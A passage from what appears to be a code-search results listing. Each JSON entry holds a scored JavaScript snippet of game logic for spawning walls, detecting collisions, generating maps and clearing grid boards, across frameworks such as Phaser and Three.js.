tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t\t// right boundary\n\t\t\tfor (var i = ((boundY1+boundY2)/2) - (WALL_SIZE/2); i<= ((boundY1+boundY2)/2) + (WALL_SIZE/2); i +=WALL_SIZE){ // spawns 2 tiles in the entrance\n\t\t\t\tvar tileX = boundX2 + (WALL_SIZE/2);\n\t\t\t\tvar tileY = i;\n\t\t\t\ttileTemp[tileCount] = currentwalls.create(tileX - (tileX % WALL_SIZE) + (WALL_SIZE/2), tileY - (tileY % WALL_SIZE) + (WALL_SIZE/2), 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\ttileTemp[tileCount].body.immovable = true;\n\t\t\t\ttileTemp[tileCount].scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\ttileTemp[tileCount].anchor.x = 0.5;\n\t\t\t\ttileTemp[tileCount].anchor.y = 0.5;\n\t\t\t\ttileTemp[tileCount].alpha = 0;\n\t\t\t\t\n\t\t\t\ttileCount++;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "ac851c3e917606c417c1af1d095c5a10", "score": "0.5965089", "text": "function pruneDeadEnds(roomName, cutTiles) {\n // Get Terrain and set all cut-tiles as unwalkable\n const roomArray = get2DArray(roomName);\n let tile;\n for (tile of cutTiles) {\n roomArray[tile.x][tile.y] = UNWALKABLE;\n }\n // Floodfill from exits: save exit tiles in array and do a BFS-like search\n const unvisited = [];\n let y;\n let x;\n for (y = 0; y < 49; y++) {\n if (roomArray[0][y] === EXIT) {\n console.log('prune: toExit', 0, y);\n unvisited.push(50 * y);\n }\n if (roomArray[49][y] === EXIT) {\n console.log('prune: toExit', 49, y);\n unvisited.push(50 * y + 49);\n }\n }\n for (x = 0; x < 49; x++) {\n if (roomArray[x][0] === EXIT) {\n console.log('prune: toExit', x, 0);\n unvisited.push(x);\n }\n if (roomArray[x][49] === EXIT) {\n console.log('prune: toExit', x, 49);\n unvisited.push(2450 + x); // 50*49=2450\n }\n }\n // Iterate over all unvisited EXIT tiles and mark neigbours as EXIT tiles if walkable, add to unvisited\n const surr = [[0, -1], [-1, -1], [-1, 0], [-1, 1], [0, 1], [1, 1], [1, 0], [1, -1]];\n let currPos;\n let dx;\n let dy;\n while (unvisited.length > 0) {\n currPos = unvisited.pop();\n x = currPos % 50;\n y = Math.floor(currPos / 50);\n for (let i = 0; i < 8; i++) {\n dx = x + surr[i][0];\n dy = y + surr[i][1];\n if (dx < 0 || dx > 49 || dy < 0 || dy > 49) {\n continue;\n }\n if ((roomArray[dx][dy] >= NORMAL && roomArray[dx][dy] < PROTECTED)\n || roomArray[dx][dy] === CANNOT_BUILD) {\n unvisited.push(50 * dy + dx);\n roomArray[dx][dy] = EXIT;\n }\n }\n }\n // Remove min-Cut-Tile if there is no EXIT reachable by it\n let leadsToExit;\n const validCut = [];\n for (tile of cutTiles) {\n leadsToExit = false;\n for (let j = 0; j < 8; j++) {\n dx = tile.x + surr[j][0];\n dy = tile.y + surr[j][1];\n if (roomArray[dx][dy] === EXIT) {\n leadsToExit = true;\n }\n }\n if (leadsToExit) {\n validCut.push(tile);\n }\n }\n return validCut;\n}", "title": "" }, { "docid": "3e653086c0d07d8ddedcae9dcd4520ea", "score": "0.5928145", "text": "deblock(layout) {\n const newLayout = layout;\n Debug.info('Running deblock');\n\n newLayout.forEach((row, y) => {\n row.forEach((cell, x) => {\n const max = row.length - 1;\n // shortcut processing on the edge\n if (y === 0 || y === max || x === 0 || x === max) {\n return;\n }\n\n let testAcross = this.getSurrounding(newLayout, x, y);\n let testDown = this.getSurrounding(newLayout, x, y);\n\n let maxAcross = 999;\n let goingDown = 0;\n\n try {\n while (testDown != null && testDown.y < max && testDown.wall && testDown.e().wall) {\n let xAcross = 0;\n while (testAcross != null && testAcross.x < max && testAcross.wall) {\n xAcross += 1;\n testAcross = this.getSurrounding(newLayout, testDown.x + xAcross, testDown.y);\n }\n maxAcross = (xAcross > 1 && xAcross < maxAcross) ? xAcross : maxAcross;\n goingDown += 1;\n testDown = this.getSurrounding(newLayout, x, y + goingDown);\n testAcross = this.getSurrounding(newLayout, x, y + goingDown);\n }\n\n if (maxAcross < 999 && maxAcross > 1 && goingDown > 1) {\n Debug.info('Found block:', x, y, maxAcross, goingDown);\n // choose whether to keep an x or y\n let choice = MapGenerator.getRandomInt(2);\n if (choice === 1) {\n // keep a single column\n choice = MapGenerator.getRandomInt(maxAcross);\n Debug.info('For block', maxAcross, goingDown, 'at', x, y, 'keeping column', choice);\n for (let nukerX = 0; nukerX < maxAcross; nukerX += 1) {\n for (let nukerY = 0; nukerY < goingDown; nukerY += 1) {\n if (nukerX + 1 !== choice) {\n newLayout[y + nukerY][x + nukerX].wall = false;\n newLayout[y + nukerY][x + nukerX].destructable = false;\n newLayout[y + nukerY][x + nukerX].nuke = true;\n }\n }\n }\n } else {\n // keep a single row\n choice = MapGenerator.getRandomInt(goingDown);\n Debug.info('For block', maxAcross, goingDown, 'at', x, y, 'keeping row', choice);\n for (let nukerX = 0; nukerX < maxAcross; nukerX += 1) {\n for (let nukerY = 0; nukerY < goingDown; nukerY += 1) {\n if (nukerY + 1 !== choice) {\n newLayout[y + nukerY][x + nukerX].wall = false;\n newLayout[y + nukerY][x + nukerX].destructable = false;\n newLayout[y + nukerY][x + nukerX].nuke = true;\n }\n }\n }\n }\n }\n } catch (e) {\n Debug.error(x, y, e);\n }\n });\n });\n\n return this.fillSingleBlanks(newLayout);\n }", "title": "" }, { "docid": "1336e00205b871eac6b638c4a7a2a0c6", "score": "0.5924351", "text": "function clearBoard(keepWalls) {\n var cells = $(\"#tableContainer\").find(\"td\");\n var startCellIndex = startCell[0] * totalCols + startCell[1];\n var endCellIndex = endCell[0] * totalCols + endCell[1];\n\n for (var i = 0; i < cells.length; i++) {\n isWall = $(cells[i]).hasClass(\"wall\");\n $(cells[i]).removeClass();\n if (i == startCellIndex) {\n $(cells[i]).addClass(\"start\");\n } else if (i == endCellIndex) {\n $(cells[i]).addClass(\"end\");\n } else if (keepWalls && isWall) {\n //if vo cell wall hai and keepWalls bhi true hai to make it a wall\n $(cells[i]).addClass(\"wall\");\n }\n }\n}", "title": "" }, { "docid": "2acc4fa559b164e6dd7c27ab69ccef03", "score": "0.5837241", "text": "keepInBounds()\n {\n if (this instanceof Wall)\n {\n return;\n }\n if (this.pos.x + this.width > level.width) \n {\n this.xCollide = true;\n this.pos.x = level.width - this.width;\n }\n else if (this.pos.x < 0)\n {\n this.xCollide = true;\n this.pos.x = 0;\n }\n if (this.pos.y + this.height > level.height) \n {\n this.yCollide = true;\n this.pos.y = level.height - this.height;\n }\n else if (this.pos.y < 0) \n {\n this.yCollide = true;\n this.pos.y = 0;\n }\n }", "title": "" }, { "docid": "e36a9ca6ebf26158ee7cd1e9eb7a903b", "score": "0.5771923", "text": "function deletingWall() {\n\t//console.log(\"deletingWall --> iter: \"+ iter);\n\tif (iter==0 || iter==0.5 || iter==3 || iter==3.5 || iter==4 || iter==4.5 || iter==7 || iter==7.5 || iter==8 || iter==8.5 || iter==11 || iter==11.5) {\n\t\trotateWallAtCenter(dc, -10);\n\t}\n\t\n\telse if (iter==1 || iter==1.5 || iter==2 || iter==2.5 || iter==5 || iter==5.5 || iter==6 || iter==6.5 || iter==9 || iter==9.5 || iter==10 || iter==10.5) {\n\t\trotateWallAtCenter(dc, 10);\n\t}\n\t\n\telse {\n\t\tif (dc.matrix.a<0.005) {\n\t\t\tremoveWall();\n\t\t\twindow.clearInterval(wallInterval);\n\t\t\tdc= null;\n\t\t}\n\t\telse {\n\t\t\tscaleWallAtCenter(dc, 0.8);\n\t\t}\n\t}\n\t\n\tinvalidated= true;\n\t\n\titer += 0.5;\n}", "title": "" }, { "docid": "5b36a35f87b71df8ba65376490d3c2a7", "score": "0.5765497", "text": "function createWalls() {\n if (myGameArea.frameNo % 150 == 0) {\n wallColor = myColors.obstacleColor;\n x = myGameArea.canvas.width;\n minHeight = 20;\n maxHeight = 170;\n height = Math.floor(Math.random() * (maxHeight - minHeight + 1) + minHeight);\n gap = 100\n myObstacles.push(new component(50, height, wallColor, x, 0));\n myObstacles.push(new component(50, x - height - gap, wallColor, x, height + gap));\n\n // used for demo mode\n updateY = myGameArea.frameNo + 62;\n nextY = (height + gap - 35);\n if (myGameArea.frameNo < 200)\n currentY = nextY;\n }\n }", "title": "" }, { "docid": "9da96522ae201faabec3e6d34475531b", "score": "0.5758267", "text": "function createWallTwoHole(rivestimento, muro, foro1, foro2) {\n\t\tfunction drawShape() {\n\t\t\tvar shape = new THREE.Shape();\n\t\t\t\tshape.moveTo(muro[0],muro[1]);\n\t\t\t\tshape.lineTo(muro[2],muro[1]);\n\t\t\t\tshape.lineTo(muro[2],muro[3]);\n\t\t\t\tshape.lineTo(muro[0],muro[3]);\n\t\t\t\tshape.lineTo(muro[0],muro[1]);\n\t\t\tvar hole = new THREE.Path();\n\t\t\t\thole.moveTo(foro1[0],foro1[1]);\n\t\t\t\thole.lineTo(foro1[0],foro1[2]);\n\t\t\t\thole.lineTo(foro1[3],foro1[2]);\n\t\t\t\thole.lineTo(foro1[3],foro1[1]);\n\t\t\t\tshape.holes.push(hole);\n\t\t\tvar hole2 = new THREE.Path();\n\t\t\t\thole2.moveTo(foro2[0],foro2[1]);\n\t\t\t\thole2.lineTo(foro2[0],foro2[2]);\n\t\t\t\thole2.lineTo(foro2[3],foro2[2]);\n\t\t\t\thole2.lineTo(foro2[3],foro2[1]);\n\t\t\t\tshape.holes.push(hole2);\n\t\treturn shape;\n\t\t}\n\t\tvar shape1 = createMesh(new THREE.ShapeGeometry(drawShape()),rivestimento);\n\treturn shape1\n}", "title": "" }, { "docid": "92ef7a67e1521d5e9dada3b5890857ba", "score": "0.5757644", "text": "function clearWallsAndChkPts() {\r\n while(walls.length > 0) {\r\n currCell = walls.pop();\r\n currCell.style.backgroundColor = \"#E7F2F8\";\r\n currCell.setAttribute(\"isWall\", \"false\");\r\n }\r\n while(checkPoints.length > 0) {\r\n currCell = checkPoints.pop();\r\n currCell.style.backgroundColor = \"#E7F2F8\";\r\n currCell.setAttribute(\"isChkPt\", \"false\");\r\n }\r\n clearPath(path);\r\n}", "title": "" }, { "docid": "c3ce6105b7e8cb17e40a35a4af3659a7", "score": "0.5738404", "text": "generateWalls() {\n var current = 0\n\n do {\n var rand_position = new Position(this.giveRandomCase())\n if((rand_position.getPosition(this.size).y % 2) == 0 && this.isEmpty(rand_position.getNumber())) {\n $('.grid').eq(rand_position.getNumber()).addClass('grid-inactive')\n current++\n }\n } while(current < this.nb_walls)\n }", "title": "" }, { "docid": "36cbc6f45fffe1f6168e9412a307e48f", "score": "0.5721478", "text": "function MakeWalls(){\n\t\t\tfor (var i = WALL_SIZE/2; i <= FLOOR_SIZE-(WALL_SIZE/2); i += WALL_SIZE) {\n\t\t\t\tfor (var j = WALL_SIZE/2; j <= FLOOR_SIZE-(WALL_SIZE/2); j += WALL_SIZE) {\n\t\t\t\t\tvar tilestatus = InBounds(i,j);\n\t\t\t\t\t\n\t\t\t\t\t// tile sprites by: asalga (Andor Salga) and gtkampos from opengameart.org\n\t\t\t\t\t\n\t\t\t\t\tif (tilestatus == \"wall\") {\n\t\t\t\t\t\tvar tile = walls.create(i, j, 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\t\ttile.body.immovable = true;\n\t\t\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t\t\t} else if (tilestatus == \"ledge\") {\n\t\t\t\t\t\tvar tile = walls.create(i, j, 'tile_atlas', 'ledge'); // spawn a ledge\n\t\t\t\t\t\ttile.body.immovable = true;\n\t\t\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t\t\t} else if (tilestatus == \"air\") { // if status == \"air\"\n\t\t\t\t\t\tvar tile = game.add.sprite(i, j, 'tile_atlas', 'floor1'); // spawn a floor tile\n\t\t\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t\t\t\t\n\t\t\t\t\t\tvar rand = game.rnd.integerInRange(0, 12);\n\t\t\t\t\t\tif (rand == 0) {\n\t\t\t\t\t\t\tvar overlay = game.add.sprite(i, j, 'tile_overlay', 'glyph1'); // spawn glyph\n\t\t\t\t\t\t\toverlay.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\t\toverlay.anchor.x = 0.5;\n\t\t\t\t\t\t\toverlay.anchor.y = 0.5;\n\t\t\t\t\t\t} else if (rand == 1) {\n\t\t\t\t\t\t\tvar overlay = game.add.sprite(i, j, 'tile_overlay', 'glyph2'); // spawn glyph\n\t\t\t\t\t\t\toverlay.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\t\toverlay.anchor.x = 0.5;\n\t\t\t\t\t\t\toverlay.anchor.y = 0.5;\n\t\t\t\t\t\t} else if (rand == 2) {\n\t\t\t\t\t\t\tvar overlay = game.add.sprite(i, j, 'tile_overlay', 'glyph3'); // spawn glyph\n\t\t\t\t\t\t\toverlay.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\t\toverlay.anchor.x = 0.5;\n\t\t\t\t\t\t\toverlay.anchor.y = 0.5;\n\t\t\t\t\t\t} else if (rand == 3) {\n\t\t\t\t\t\t\tvar overlay = game.add.sprite(i, j, 'tile_overlay', 'glyph4'); // spawn glyph\n\t\t\t\t\t\t\toverlay.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\t\toverlay.anchor.x = 0.5;\n\t\t\t\t\t\t\toverlay.anchor.y = 0.5;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t} else if (tilestatus == \"OOB\") {\n\t\t\t\t\t\tvar tile = game.add.sprite(i, j, 'tile_atlas', 'wall'); // spawn a wall\n\t\t\t\t\t\ttile.scale.setTo(WALL_SIZE/64, WALL_SIZE/64);\n\t\t\t\t\t\ttile.anchor.x = 0.5;\n\t\t\t\t\t\ttile.anchor.y = 0.5;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "0b8bb5aafd676a90498c4de9693a84d7", "score": "0.5705062", "text": "addIndeterminateCells() {\n this.cells.forEach(cell => {\n if (cell.state === CELL_STATES.ROOM) {\n const emptyWallPosition = Object.keys(cell.walls).find(wallPosition => !cell.walls[wallPosition]);\n let siblingCell = cell.siblings[emptyWallPosition];\n cell.roomArea = { to: emptyWallPosition };\n let prevCell = cell;\n let prevCellPosition = getOppositePosition(emptyWallPosition);\n while (siblingCell && siblingCell.state === CELL_STATES.EMPTY) {\n if (siblingCell.wallsCount === 2) {\n siblingCell.state = CELL_STATES.INDETERMINATE;\n const emptyWallPositions = Object.keys(siblingCell.walls)\n .filter(wallPosition => !siblingCell.walls[wallPosition]);\n const emptyWallPosition = emptyWallPositions.find(position =>\n siblingCell.siblings[position] !== prevCell\n );\n siblingCell.roomArea = {\n from: prevCellPosition,\n to: emptyWallPosition\n };\n prevCell = siblingCell;\n prevCellPosition = getOppositePosition(emptyWallPosition);\n siblingCell = siblingCell.siblings[emptyWallPosition];\n } else {\n siblingCell = null;\n }\n }\n }\n });\n }", "title": "" }, { "docid": "a534339243a65ef49a5c842601bdcc81", "score": "0.5650309", "text": "collide() {\n for (let wall of this.game.things) {\n if (!(wall instanceof Wall)) continue;\n \n if (\n this.x + this.width > wall.x &&\n this.x < wall.x + wall.width\n ) {\n if (!(\n this.y > wall.gapY &&\n this.y + this.height < wall.gapY + wall.gapHeight\n )) {\n if (!this.dead) {\n this.onDead();\n }\n this.dead = true;\n } else {\n wall.playerInside = true;\n }\n } else {\n wall.playerInside = false;\n }\n }\n }", "title": "" }, { "docid": "11459498150d388b1888361b8ec27527", "score": "0.5603993", "text": "handle_wall_collisions() {\n // check if the main ball has collided with walls\n if (this.should_do_wall_collision(this.cue_ball_physics_object)) {\n this.do_wall_collision(this.cue_ball_physics_object);\n }\n\n // check if any number_balls have collided with the walls\n for (let i = 0; i < this.number_ball_physics_objects.length; i++) {\n if (!this.number_ball_physics_objects[i].force_vector.equals(Vec.of(0, 0, 0))) {\n if (this.should_do_wall_collision(this.number_ball_physics_objects[i])) {\n this.do_wall_collision(this.number_ball_physics_objects[i]);\n }\n }\n }\n }", "title": "" }, { "docid": "0faf7cf48a8d6e16d9eeee9a4ded1317", "score": "0.5599137", "text": "identifyInteriorWalls() {\n\t\tfor ( let r of canvas.foreground.roofs ) {\n\t\t\tfor ( let w of this.placeables ) {\n\t\t\t\tconst isInterior = r.containsPixel(w.data.c[0], w.data.c[1]) && r.containsPixel(w.data.c[2], w.data.c[3]);\n\t\t\t\tif ( isInterior ) w.roof = r;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "ea2f3bb2ad0176908febb2a3352f128f", "score": "0.5594993", "text": "verifySelectedWall(wall, orientation) {\n\n // check if the player used all walls\n\n if (this.availableWalls[this.playerTurn] === 0)\n return {result: false};\n\n // check if the wall overlaps with other walls\n\n let validWall = this.isWallNotOverlap(wall, orientation);\n\n // check if the wall blocks other wall\n\n // deep copy\n let newSetOfWalls = JSON.parse(JSON.stringify(this.walls));\n // add the wall\n newSetOfWalls[orientation].push(wall);\n // add the other partition of the selected wall\n if (orientation === 'V')\n newSetOfWalls[orientation].push({X: wall.X, Y: wall.Y + ((wall.Y === 8) ? -1 : 1)});\n else\n newSetOfWalls[orientation].push({X: wall.X + ((wall.X === 8) ? -1 : 1), Y: wall.Y});\n\n let isP1Blocked = this.checkPathExistence('p1', newSetOfWalls);\n let isP2Blocked = this.checkPathExistence('p2', newSetOfWalls);\n\n return {newSetOfWalls: newSetOfWalls, result: (!isP1Blocked && !isP2Blocked && validWall)}\n }", "title": "" }, { "docid": "bc969fd576b8e6e7410bce84582f83f2", "score": "0.55581796", "text": "do_wall_collision(o) {\n this.wall_adjust_center(o);\n const center = o.get_center();\n const radius = o.radius;\n // collision with left wall\n if (center[0] - radius <= - this.floor_width / 2 + 4) {\n this.do_collision(\n o,\n new PhysicsObject(\n this.floor_damping,\n 999,\n Mat4.identity()\n .times(Mat4.translation(Vec.of(center[0], center[1], center[2])))\n .times(Mat4.translation(Vec.of(-radius, 0, 0))),\n radius,\n this.default_time_constant,\n \"phantom ball (left wall)\",\n Mat4.identity()\n ),\n true\n )\n }\n // collision with right wall\n else if (center[0] + radius >= this.floor_width / 2 - 4) {\n this.do_collision(\n o,\n new PhysicsObject(\n this.floor_damping,\n 999,\n Mat4.identity()\n .times(Mat4.translation(Vec.of(center[0], center[1], center[2])))\n .times(Mat4.translation(Vec.of(radius, 0, 0))),\n radius,\n this.default_time_constant,\n \"phantom ball (right wall)\",\n Mat4.identity()\n ),\n true\n )\n }\n // collision with bottom wall\n else if (center[2] + radius >= this.floor_height / 2 - 3) {\n this.do_collision(\n o,\n new PhysicsObject(\n this.floor_damping,\n 999,\n Mat4.identity()\n .times(Mat4.translation(Vec.of(center[0], center[1], center[2])))\n .times(Mat4.translation(Vec.of(0, 0, -radius))),\n radius,\n this.default_time_constant,\n \"phantom ball (bottom wall)\",\n Mat4.identity()\n ),\n true\n )\n }\n // collision with top wall\n else if (center[2] - radius <= -this.floor_height/2 + 3) {\n this.do_collision(\n o,\n new PhysicsObject(\n this.floor_damping,\n 999,\n Mat4.identity()\n .times(Mat4.translation(Vec.of(center[0], center[1], center[2])))\n .times(Mat4.translation(Vec.of(0, 0, radius))),\n radius,\n this.default_time_constant,\n \"phantom ball (top wall)\",\n Mat4.identity()\n ),\n true\n )\n }\n }", "title": "" }, { "docid": "ea813c49c7dcb16de938fe30d6dc3f8e", "score": "0.5552461", "text": "checkWallCollisions() {\n // series of if statements for bounces of walls\n if(this.cannon.position.x <= 0){\n this.collision(90);\n }\n if(this.cannon.position.x >= w){\n this.collision(270);\n }\n if(this.cannon.position.y <= 0){\n this.collision(360);\n }\n // if home screen ball bounces off bottom\n if(this.cannon.position.y >= h && this.home) {\n\t\t\tthis.collision(180);\n }\n }", "title": "" }, { "docid": "49f5ad7baac6edbc6907240351c694c7", "score": "0.5512643", "text": "genEndpoints() {\n\t\tlet quad = _.random(1, 4);\n\t\tthis.startRoom = Object.assign(this.startRoom, this.pickCord(quad)); //new Room (props)\n\t\tquad = this.bossRoom.quad;\n\t\tthis.bossRoom = Object.assign(this.bossRoom, this.pickCord(quad));\n\t\tthis.setBossExit();\n\n\t\tlet sY = this.startRoom.cords.y;\n\t\tlet sX = this.startRoom.cords.x;\n\n\t\tlet north = this.rooms[sY - 1][sX];\n\t\t// this.startRoom.walls.north = north;\n\t\tnorth.walls.south = this.startRoom;\n\n\t\tlet south = this.rooms[sY + 1][sX];\n\t\t// this.startRoom.walls.south = south;\n\t\tsouth.walls.north = this.startRoom;\n\n\t\tlet east = this.rooms[sY][sX + 1];\n\t\t// this.startRoom.walls.east = east;\n\t\teast.walls.west = this.startRoom;\n\n\t\tlet west = this.rooms[sY][sX - 1];\n\t\t// this.startRoom.walls.west = west;\n\t\twest.walls.east = this.startRoom;\n\n\t\tthis.startRoom.walls = {\n\t\t\tnorth: north,\n\t\t\tsouth: south,\n\t\t\teast: east,\n\t\t\twest: west\n\t\t};\n\t}", "title": "" }, { "docid": "b18a8bce1e25908d7c564fdeb72390e4", "score": "0.5507256", "text": "function hitWall(){\n if (mario.Y + 60 >= wall.Y && mario.X + 60 >= wall.X || mario.Y <= 50) {\n wall.DX = 0;\n mario.DY = 0;\n wall.X = width;\n screen = \"gameOver\";\n }\n}", "title": "" }, { "docid": "b0fe251a9bd1ad5a10fcbaf6bcb920e0", "score": "0.54889226", "text": "function toBoundary(p0, p1){\n var x = p1[0], y = p1[1],\n dx = x - p0[0],\n dy = y - p0[1];\n if (x===0 || y===0) return p1;\n var k, w;\n\n // left wall\n k = -x/dx;\n h = y + dy*k;\n if (k > 0 && h >= 0 && h <= height) return [0, h];\n\n // top wall\n k = -y/dy;\n w = x + dx*k;\n if (k > 0 && w >= 0 && w <= width) return [w, 0];\n\n // right wall\n k = (width-x)/dx;\n h = y + dy*k;\n if (k > 0 && h >= 0 && h <= height) return [width, h];\n\n // top wall\n k = (height-y)/dy;\n w = x + dx*k;\n if (k > 0 && w >= 0 && w <= width) return [w, height];\n\n console.warn(\"toBoundary found unsatisfactory result for\", p0, p1);\n return p1;\n}", "title": "" }, { "docid": "e6aa0bb6657875b919c05bec2325dab7", "score": "0.54687065", "text": "_findWall() {\n let prio1 = [];\n let prio2 = [];\n for (let id in this._walls) {\n let prio = this._walls[id];\n if (prio == 2) {\n prio2.push(id);\n }\n else {\n prio1.push(id);\n }\n }\n let arr = (prio2.length ? prio2 : prio1);\n if (!arr.length) {\n return null;\n } /* no walls :/ */\n let id = RNG.getItem(arr.sort()); // sort to make the order deterministic\n delete this._walls[id];\n return id;\n }", "title": "" }, { "docid": "6c3e555ff3987fe395c1e32c4b6188da", "score": "0.5468125", "text": "function createWalls() {\n\t//Size and spacing variables\n\tvar s = 500, d = 3, S = 1000;\n\n\t//Colors\n\tvar r = 0x990000,\n\t\tg = 0x009900,\n\t\tb = 0x000099;\n\n\t//Ceiling and floor\n\tvar ceil = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:r, side:THREE.DoubleSide})\n\t\t\t\t \t);\n\t\tceil.position.set(0, s, 0);\n\t\tceil.rotation.set(Math.PI/2, 0, Math.PI/2);\n\tvar flrr = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:r, side:THREE.DoubleSide})\n\t\t\t\t \t);\n\t\tflrr.position.set(0, -s, 0);\n\t\tflrr.rotation.set(Math.PI/2, 0, Math.PI/2);\n\n\t//North and South wall\n\tvar nrth = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:g, side:THREE.DoubleSide})\n\t\t\t\t\t);\n\t\tnrth.position.set(0, 0, s);\n\t\tnrth.rotation.set(0, 0, 0);\n\tvar soth = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:g, side:THREE.DoubleSide})\n\t\t\t\t\t);\n\t\tsoth.position.set(0, 0, -s);\n\t\tsoth.rotation.set(0, 0, 0);\n\n\t//East and West wall\n\tvar east = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:b, side:THREE.DoubleSide})\n\t\t\t\t\t);\n\t\teast.position.set(s, 0, 0);\n\t\teast.rotation.set(Math.PI/2, Math.PI/2, 0);\n\tvar west = new THREE.Mesh(\n\t\t\t\t\tnew THREE.PlaneGeometry(S, S, 100, 100),\n\t\t\t\t\tnew THREE.MeshBasicMaterial({color:b, side:THREE.DoubleSide})\n\t\t\t\t\t);\n\t\twest.position.set(-s,0, 0);\n\t\twest.rotation.set(Math.PI/2, Math.PI/2, 0);\n\n\t//Add them all to the scene\n\tscene.add(ceil);\n\tscene.add(flrr);\n\tscene.add(nrth);\n\tscene.add(soth);\n\tscene.add(east);\n\tscene.add(west);\n}", "title": "" }, { "docid": "9854ad529bfa151a01641deea8fb5e14", "score": "0.54615676", "text": "spawnWalls() {\n this.wall1 = this.physics.add.sprite(-40, 175, 'bounds_terminal').\n setScale(0.5, 4);\n this.wall1.setImmovable();\n\n this.wall2 = this.physics.add.sprite(game.config.width + 40, 175, 'bounds_terminal').\n setScale(0.5, 4);\n this.wall2.setImmovable();\n }", "title": "" }, { "docid": "518ea7223d49a30848ca63f7eb286b42", "score": "0.5457776", "text": "removeRoad(fromName, toName) {\n let fromCity = this.find(fromName);\n let toCity = this.find(toName);\n\n fromCity.outgoing = fromCity.outgoing.filter(road => road.from !== fromCity || road.to !== toCity);\n toCity.incoming = toCity.incoming.filter(road => road.from !== fromCity || road.to !== toCity);\n\n let road = fromCity.outgoing.filter(road => road.from === fromCity && road.to === toCity)[0];\n this.roads.splice(this.roads.indexOf(road), 1);\n return road;\n }", "title": "" }, { "docid": "abe518021d5dcca52e48c1887b8576cc", "score": "0.5456072", "text": "removeShape() {\n this.shape.cells.forEach(c => {\n if (c[0] + this.shape.x >= 0 && c[0] + this.shape.x < this.board.width && c[1] + this.shape.y >= 0 && c[1] + this.shape.y < this.board.height) {\n this.board.board[c[0] + this.shape.x][c[1] + this.shape.y].filled = false;\n }\n });\n }", "title": "" }, { "docid": "276bfd95fc9b28c186584a63614142f9", "score": "0.54531085", "text": "function wall() {\n for (var i = 0, j = 0; i < (gamewidth / blockSize), j < (gameheight / blockSize); i++, j++) {\n var x = i * blockSize;\n var y = j * blockSize;\n context.fillStyle = \"#ffffff\";\n context.fillRect(x, 0, blockSize, blockSize);\n context.fillRect(x, (gamewidth - blockSize), blockSize, blockSize);\n context.fillRect(0, y, blockSize, blockSize);\n context.fillRect((gameheight - blockSize), y, blockSize, blockSize);\n context.fillStyle = \"#333333\";\n context.fillRect(x + 1, 1, blockSize - 2, blockSize - 2);\n context.fillRect(x + 1, (gamewidth - blockSize + 1), blockSize - 2, blockSize - 2);\n context.fillRect(0 + 1, y + 1, blockSize - 2, blockSize - 2);\n context.fillRect((gameheight - blockSize + 1), y + 1, blockSize - 1, blockSize - 1);\n }\n}", "title": "" }, { "docid": "3443e1135d89fe4fbf29cd9e2bf65486", "score": "0.54416263", "text": "should_do_wall_collision(o) {\n const o_center = o.get_center();\n if (o_center[2] < this.hole_radius && o_center[2] > -this.hole_radius) {\n return false;\n }\n const x_limit = -this.floor_width/2 + 7;\n const z_limit = -this.floor_height/2 + 7;\n if (o_center[0] < x_limit && o_center[2] < z_limit) {\n return false;\n }\n if (o_center[0] < x_limit && o_center[2] > -z_limit) {\n return false;\n }\n if (o_center[0] > -x_limit && o_center[2] < z_limit) {\n return false;\n }\n if (o_center[0] > -x_limit && o_center[2] > -z_limit) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "cacfb57363719379af1e282faae9537c", "score": "0.54297155", "text": "function wallMaker() {\n\tvar height = mapArrays.length;\n // Because it's a square we only need to check the length of one line.\n var width = mapArrays[0].length;\n var bottomRowY = mapArrays.length-1;\n var lastColumnX = mapArrays[0].length - 1;\n // A little callback function created inside wallMaker so that we don't have to repeat the same 3 commands.\n function waller(wallThis) {\n wallThis.canMove = false;\n wallThis.description = \"A wall.\";\n \twallThis.terrainType = \"wall\";\n wallThis.symbol = \"^\";\n wallThis.color = \"green\";\n // Or whatever symbol we want to set it to.\n }\n // Walls the top row.\n for(var idx = 0; idx < width; idx++) {\n \tvar toWall = 